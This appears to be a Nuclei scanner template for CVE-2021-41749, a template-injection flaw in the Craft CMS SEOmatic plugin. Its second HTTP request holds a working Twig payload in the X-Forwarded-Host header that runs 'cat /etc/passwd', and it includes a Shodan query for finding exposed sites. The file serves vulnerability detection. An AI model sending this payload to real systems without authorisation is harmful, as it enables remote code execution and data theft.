60 lines
2.1 KiB
YAML
60 lines
2.1 KiB
YAML
id: CVE-2021-41749
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info:
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name: CraftCMS SEOmatic - Server-Side Template Injection
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author: iamnoooob,ritikchaddha
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severity: critical
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description: |
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In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
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reference:
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- https://github.com/nystudio107/craft-seomatic/commit/3fee7d50147cdf3f999cfc1e04cbc3fb3d9f2f7d
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41749
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- https://github.com/nystudio107/craft-seomatic/blob/develop/CHANGELOG.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-41749
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cwe-id: CWE-94
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epss-score: 0.2727
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epss-percentile: 0.96249
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cpe: cpe:2.3:a:nystudio107:seomatic:*:*:*:*:*:craft_cms:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: nystudio107
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product: seomatic
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framework: craft_cms
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shodan-query: 'X-Powered-By: Craft CMS html:"SEOmatic"'
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tags: cve,cve2021,craftcms,cms,ssti
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variables:
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num1: "{{rand_int(40000, 44800)}}"
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num2: "{{rand_int(40000, 44800)}}"
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result: "{{to_number(num1)*to_number(num2)}}"
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marker: "{{randstr}}"
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http:
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- raw:
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- |+
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GET / HTTP/1.1
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Host: {{Hostname}}
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X-Forwarded-Host: {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}
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Cache-Control: max-age=0
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- |+
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GET / HTTP/1.1
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Host: {{Hostname}}
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X-Forwarded-Host: xxx{{['cat /etc/passwd']|filter('system')}}bbb
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Cache-Control: max-age=0
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skip-variables-check: true
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stop-at-first-match: true
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redirects: true
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max-redirects: 2
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_1, "/{{marker}}{{result}}") || regex("root:.*:0:0:", body_2)'
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- 'contains_any(body, "Craft CMS", "SEOmatic" ,"CRAFT_CSRF")'
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- 'status_code == 200'
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condition: and
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# digest: 4a0a004730450221009751eabe88404e4edea345826f5c2bf0591bf6f2b909ed33559bf7a9c469c863022021108e173daee8499ed5cf3421048a32379deebcc8e12815a066dd40e5a734aa:922c64590222798bb761d5b6d8e72950 |